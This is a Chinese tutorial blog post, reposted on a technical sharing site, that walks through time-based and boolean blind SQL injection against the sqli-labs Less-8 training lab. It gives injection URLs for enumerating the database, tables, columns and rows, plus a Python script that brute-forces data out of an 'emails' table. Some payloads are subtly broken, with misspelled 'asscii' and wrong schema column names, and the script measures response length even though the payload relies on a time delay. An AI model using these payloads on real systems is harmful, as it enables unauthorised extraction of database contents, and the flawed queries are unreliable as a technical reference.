标签:char 时间 --+ test limit 盲注 id select
爆库名
?id=1' and if(ascii(substr(database(),1,1))>9,sleep(6),1)%23 //在MySQL中有两种注释方法”#“和”--+“,采用if语句判断数据库名的长度,如果数据库长度大于9,则延迟6秒传输
通过工具爆破表名(采用bp工具进行爆破)
?id=1' and if(asscii(substr((select table_name from information_schema.tables where table.schema=database() limit 0 ,1),1,1))='&a&' ,sleep(6),1)--+
//limit 0,1的0表示从第一条数据开始,1表示只向下记录1条数据
如果数据库名等于’&a&',则延迟6秒传输
注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1.......
通过工具爆破表的字段(采用bp工具进行爆破)假设需要查找的表为test
?id=1' and if(asscii(substr((select table_name from information_schema.tables where table.name='test' limit 0 ,1),1,1))='&a&' ,sleep(6),1)--+
注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1......
通过布尔盲注,输出表中数据(脱裤)
在进行脱裤之前,先判断表中有多少记录
?id=1' and
(
select
count
(*)
from
test)>0 --+
判断当前记录的长度
?id=1' and
(
select
length(username)
from
test limit 0,1)>15 --+
利用python实现获取test表中的内容
def
get_data():
result
=
""
url_template
=
"http://localhost/sqlilabs/Less-8/?id=2' and if(ascii(substr((select email_id from emails limit 0,1),{0},1))>{1},sleep(6),1) %23"
chars
=
'.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for
i
in
range
(
1
,
17
):
for
char
in
chars:
char_ascii
=
ord
(char)
url
=
url_template.
format
(i,char_ascii)
response
=
requests.get(url)
length
=
len
(response.text)
#返回的长度只有706和722
if
length>
706
:
result
+
=
char
break
print
(result)
注:%23是#的在http中的网址URL编码,在拿出第一个字符后,修改上面的limit 0,1,改为limit 1,1查找第二个字符,依次轮循。
最后,我觉得最好的有关事件盲注的文章https://www.cdxy.me/?p=789,这篇文章讲解了有关时间盲注的5种方法,包括自己写的poc。
标签:char,时间,--+,test,limit,盲注,id,select 来源: https://www.cnblogs.com/ayheng/p/15196370.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。